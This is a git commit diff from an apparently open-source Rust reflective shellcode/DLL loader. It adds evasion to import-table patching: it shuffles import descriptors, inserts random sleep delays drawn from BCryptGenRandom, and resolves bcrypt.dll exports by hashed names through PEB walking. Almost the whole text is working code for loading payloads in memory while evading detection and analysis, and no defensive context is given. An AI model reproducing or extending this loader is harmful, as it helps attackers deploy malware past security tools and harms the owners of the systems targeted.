loader-level obfuscation during IAT patching

1.) shuffle Import Directory Table entries (image import descriptors)
2.) delay the relocation of each import a random duration
3.) conditional execution based on ordinal/name
4.) indirect function call via pointer
This commit is contained in:
17ms 2024-02-12 20:10:20 +02:00
parent 08a32b0816
commit 567e36a9f3
5 changed files with 89 additions and 14 deletions

1
Cargo.lock generated
View File

@ -33,7 +33,6 @@ name = "airborne-reflective_loader"
version = "0.1.0"
dependencies = [
"airborne-utils",
"rand_core",
"windows-sys",
]

View File

@ -8,7 +8,6 @@ crate-type = ["cdylib"]
[dependencies]
airborne-utils = { path = "../utils" }
rand_core = "0.6.0"
[dependencies.windows-sys]
version = "0.52.0"
@ -16,5 +15,6 @@ features = [
"Win32_Foundation",
"Win32_System_Kernel",
"Win32_System_Threading",
"Win32_System_WindowsProgramming"
"Win32_System_WindowsProgramming",
"Win32_Security_Cryptography"
]

View File

@ -13,7 +13,8 @@ use core::{
use windows_sys::{
core::PWSTR,
Win32::{
Foundation::{BOOL, HMODULE},
Foundation::{BOOL, HMODULE, STATUS_SUCCESS},
Security::Cryptography::BCRYPT_RNG_ALG_HANDLE,
System::{
Diagnostics::Debug::{
IMAGE_DATA_DIRECTORY, IMAGE_DIRECTORY_ENTRY_BASERELOC,
@ -40,9 +41,11 @@ use windows_sys::{
use crate::memory::*;
// must be edited based on the number of imports in the IDT of the payload
// const IMPORT_COUNT: usize = 100;
// const MAX_IMPORT_DELAY_MS: u32 = 5000;
// TODO: replace with parameters from the shellcode generator
const SHUFFLE_IMPORTS: bool = true;
const DELAY_IMPORTS: bool = true;
const MAX_IMPORT_DELAY_MS: u64 = 2000;
#[cfg(not(test))]
#[panic_handler]
@ -50,8 +53,13 @@ fn panic(_info: &core::panic::PanicInfo) -> ! {
loop {}
}
// TODO: add to blog references
// https://research.ijcaonline.org/volume113/number8/pxc3901710.pdf
// TODO: check if i8 types can be replaced with u8 types (especially in pointers)
// TODO: replace plain returns with Result<T, E> and propagate errors until panic in the loader function
// TODO: remove _fltused and _DllMainCRTStartup (and uncomment DllMain) if deemed unnecessary after testing
#[export_name = "_fltused"]
@ -89,12 +97,13 @@ pub unsafe extern "system" fn loader(
let kernel32_base_ptr = get_module_ptr(KERNEL32_DLL).unwrap();
let _ntdll_base_ptr = get_module_ptr(NTDLL_DLL).unwrap();
let bcrypt_base_ptr = get_module_ptr(BCRYPT_DLL).unwrap();
if kernel32_base_ptr.is_null() || _ntdll_base_ptr.is_null() {
if kernel32_base_ptr.is_null() || _ntdll_base_ptr.is_null() || bcrypt_base_ptr.is_null() {
return;
}
let far_procs = get_export_ptrs(kernel32_base_ptr).unwrap();
let far_procs = get_export_ptrs(kernel32_base_ptr, bcrypt_base_ptr).unwrap();
/*
2.) load the target image to a newly allocated permanent memory location with RW permissions
@ -186,13 +195,17 @@ pub unsafe extern "system" fn loader(
}
}
unsafe fn get_export_ptrs(kernel32_base_ptr: *mut u8) -> Option<FarProcs> {
unsafe fn get_export_ptrs(
kernel32_base_ptr: *mut u8,
bcrypt_base_ptr: *mut u8,
) -> Option<FarProcs> {
let loadlib_addr = get_export_addr(kernel32_base_ptr, LOAD_LIBRARY_A).unwrap();
let getproc_addr = get_export_addr(kernel32_base_ptr, GET_PROC_ADDRESS).unwrap();
let virtualalloc_addr = get_export_addr(kernel32_base_ptr, VIRTUAL_ALLOC).unwrap();
let virtualprotect_addr = get_export_addr(kernel32_base_ptr, VIRTUAL_PROTECT).unwrap();
let flushcache_addr = get_export_addr(kernel32_base_ptr, FLUSH_INSTRUCTION_CACHE).unwrap();
let sleep_addr = get_export_addr(kernel32_base_ptr, SLEEP).unwrap();
let bcrypt_genrandom_addr = get_export_addr(bcrypt_base_ptr, BCRYPT_GEN_RANDOM).unwrap();
if loadlib_addr == 0
|| getproc_addr == 0
@ -221,6 +234,9 @@ unsafe fn get_export_ptrs(kernel32_base_ptr: *mut u8) -> Option<FarProcs> {
#[allow(non_snake_case)]
let Sleep: Sleep = transmute(sleep_addr);
#[allow(non_snake_case)]
let BCryptGenRandom: BCryptGenRandom = transmute(bcrypt_genrandom_addr);
Some(FarProcs {
LoadLibraryA,
GetProcAddress,
@ -228,6 +244,7 @@ unsafe fn get_export_ptrs(kernel32_base_ptr: *mut u8) -> Option<FarProcs> {
VirtualProtect,
FlushInstructionCache,
Sleep,
BCryptGenRandom,
})
}
@ -424,12 +441,33 @@ unsafe fn patch_iat(
) {
/*
1.) shuffle Import Directory Table entries (image import descriptors)
2.) delay the relocation of each import a semirandom duration
2.) delay the relocation of each import a random duration
3.) conditional execution based on ordinal/name
4.) indirect function call via pointer
*/
// TODO: obfuscate the import handling (convert C++ obfuscation to Rust, preferably no_std)
let mut id_ptr = import_descriptor_ptr;
let mut import_count = 0;
while (*id_ptr).Name != 0 {
import_count += 1;
id_ptr = id_ptr.add(1);
}
let id_ptr = import_descriptor_ptr;
if import_count > 1 && SHUFFLE_IMPORTS {
// Fisher-Yates shuffle
for i in 0..import_count - 1 {
let rn = get_rn(far_procs).unwrap(); // TODO: replace with error propagation
let gap = import_count - i;
let j_u64 = i + (rn % gap);
let j = j_u64.min(import_count - 1);
id_ptr.offset(j as _).swap(id_ptr.offset(i as _));
}
}
while (*import_descriptor_ptr).Name != 0x0 {
let module_name_ptr = rva::<i8>(base_addr_ptr as _, (*import_descriptor_ptr).Name as usize);
@ -444,6 +482,12 @@ unsafe fn patch_iat(
return;
}
if DELAY_IMPORTS {
let rn = get_rn(far_procs).unwrap_or(0); // TODO: replace with error propagation
let delay = rn % MAX_IMPORT_DELAY_MS;
(far_procs.Sleep)(delay as _);
}
// RVA of the IAT via either OriginalFirstThunk or FirstThunk
let mut original_thunk_ptr: *mut IMAGE_THUNK_DATA64 = if (base_addr_ptr as usize
+ (*import_descriptor_ptr).Anonymous.OriginalFirstThunk as usize)
@ -564,6 +608,23 @@ unsafe fn finalize_relocations(
(far_procs.FlushInstructionCache)(-1, null_mut(), 0);
}
#[link_section = ".text"]
unsafe fn get_rn(far_procs: &FarProcs) -> Option<u64> {
let mut buffer = [0u8; 8];
let status = (far_procs.BCryptGenRandom)(
BCRYPT_RNG_ALG_HANDLE,
buffer.as_mut_ptr(),
buffer.len() as _,
0,
);
if status != STATUS_SUCCESS {
return None;
}
Some(u64::from_le_bytes(buffer))
}
#[link_section = ".text"]
unsafe fn get_peb_ptr() -> *mut PEB {
// TEB located at offset 0x30 from the GS register on 64-bit

View File

@ -3,7 +3,8 @@ use core::ffi::c_void;
use windows_sys::{
core::PCSTR,
Win32::{
Foundation::{BOOL, BOOLEAN, FARPROC, HANDLE, HMODULE, UNICODE_STRING},
Foundation::{BOOL, BOOLEAN, FARPROC, HANDLE, HMODULE, NTSTATUS, UNICODE_STRING},
Security::Cryptography::{BCRYPTGENRANDOM_FLAGS, BCRYPT_ALG_HANDLE},
System::{
Kernel::LIST_ENTRY,
Memory::{PAGE_PROTECTION_FLAGS, VIRTUAL_ALLOCATION_TYPE},
@ -17,6 +18,9 @@ pub static KERNEL32_DLL: u32 = 0x6DDB9555;
#[allow(non_snake_case)]
pub static NTDLL_DLL: u32 = 0x1EDAB0ED;
#[allow(non_snake_case)]
pub static BCRYPT_DLL: u32 = 0xEDB54DA3;
#[allow(non_snake_case)]
pub static LOAD_LIBRARY_A: u32 = 0xB7072FDB;
@ -35,6 +39,9 @@ pub static VIRTUAL_PROTECT: u32 = 0xE857500D;
#[allow(non_snake_case)]
pub static SLEEP: u32 = 0xE07CD7E;
#[allow(non_snake_case)]
pub static BCRYPT_GEN_RANDOM: u32 = 0xD966C0D4;
#[allow(non_camel_case_types)]
pub type LoadLibraryA = unsafe extern "system" fn(lpLibFileName: PCSTR) -> HMODULE;
@ -64,6 +71,14 @@ pub type FlushInstructionCache = unsafe extern "system" fn(
NumberOfBytesToFlush: usize,
) -> BOOL;
#[allow(non_camel_case_types)]
pub type BCryptGenRandom = unsafe extern "system" fn(
hAlgorithm: BCRYPT_ALG_HANDLE,
pbBuffer: *mut u8,
cbBuffer: u32,
dwFlags: BCRYPTGENRANDOM_FLAGS,
) -> NTSTATUS;
#[allow(non_camel_case_types)]
pub type Sleep = unsafe extern "system" fn(dwMilliseconds: u32);
@ -84,6 +99,7 @@ pub struct FarProcs {
pub VirtualProtect: VirtualProtect,
pub FlushInstructionCache: FlushInstructionCache,
pub Sleep: Sleep,
pub BCryptGenRandom: BCryptGenRandom,
}
#[allow(non_camel_case_types)]

View File

@ -4,4 +4,3 @@ version = "0.1.0"
edition = "2021"
[dependencies]
# panic-halt = "0.2.0"